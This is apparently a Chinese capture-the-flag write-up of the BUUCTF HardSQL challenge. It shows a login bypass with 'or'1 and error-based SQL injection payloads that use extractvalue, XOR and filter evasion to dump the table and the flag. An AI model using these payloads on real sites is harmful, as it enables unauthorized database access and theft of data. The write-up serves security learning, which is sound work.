练习 6 Web [极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

先尝试登录,查看报错信息

  • admin =111 password =1111 登录失败
  • admin =111 password =1'or'1 登录成功

这里直接试了万能密码成功,复习一下,第一个 ' 是为了闭合前面的sql语句,最后的1后面没有 ' 是因为默认情况下,通常sql语句会以' 结尾,我们注入的是'1,实际解析出来就是'1',不会报错。

参考文章:万能密码'or'的原理

然后尝试将 or 后面的1换成查库、查表、等等查询语句,提示显然被过滤了,卡住

做不出来,搜wp,SQL注入通常的思路是联合查询,如果尝试都被过滤,或者查询不到任何内容,那应该要考虑"报错注入"的方式。

SQL注入之报错注入
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理
BUUCTF-[极客大挑战 2019]HardSQL 1详解

报错注入通常是利用非法语句产生报错并返回报错的内容,当报错一般会返回报错的内容是什么,当返回内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

此题尝试使用

extractvalue(xml_document.Xpath_string)

作用:

查询一个名叫"xml_document"的文档

路径为"Xpath_string"

构造注入语句

extractvalue(1,concat('0x7e',select(database())))%23

'or extractvalue() 中间的这个空格也会被过滤,再查wp
用'^'来连接函数,形成异或

php 复制代码
?username=111&password=1111'^extractvalue

失败,检查一下括号少了,(select(database()))要括起来

爆出库名:geek

爆破表名,sql语句之间的空格用()代替,=号用like代替,构造:

php 复制代码
?username=111&password=1111'^extractvalue(1,concat('0x7e',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek"))))%23

表名:H4rDsq1

爆破字段内容:

php 复制代码
select group_concat(column_name) from information_schema.columns where table_schema=database()
#这里原代码表名变量叫'table_schema',但本题中必须输入'table_name',检查半天非常无语
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))))%23

继续查找flag:

php 复制代码
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23

获得:flag{327111be-7867-495c-872d-51

'}'不见了,flag应该还有一半未显示

使用right(value,str_length)函数

?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23

获得:e-7867-495c-872d-511f0cc4fc08}

拼接flag{327111be-7867-495c-872d-51e-7867-495c-872d-511f0cc4fc08}

提交错误

中间应该还有几个字符,调整right函数的第二个参数控制显示长度,后半部分是'7111be'开头

才发现这个flag很短。。

flag{327111be-7867-495c-872d-511f0cc4fc08}

提交正确

相关推荐
6***B482 小时前
存储过程(SQL)
android·数据库·sql
t***31652 小时前
Docker 之mysql从头开始——Docker下mysql安装、启动、配置、进入容器执行(查询)sql
sql·mysql·docker
合作小小程序员小小店4 小时前
桌面开发,超市管理系统开发,基于C#,winform,sql server数据库
开发语言·数据库·sql·microsoft·sqlserver·c#
N***73857 小时前
SQL锁机制
java·数据库·sql
cookqq7 小时前
mongodb根据索引IXSCAN 查询记录流程
数据结构·数据库·sql·mongodb·nosql
6***v4177 小时前
spring boot 项目打印sql日志和结果,使用logback或配置文件
spring boot·sql·logback
2***s67212 小时前
给SQL server数据库表字段添加注释SQL,附修改、删除注释SQL及演示
数据库·sql·oracle
AI2中文网14 小时前
AppInventor2 使用 SQLite(三)带条件过滤查询表数据
数据库·sql·sqlite·select·app inventor 2·appinventor·tableview
I***261514 小时前
智能生成ER图工具。使用 SQL 生成 ER 图:让数据库设计更高效
数据库·sql·oracle
jnrjian19 小时前
Oracle hints 空格要求
sql·oracle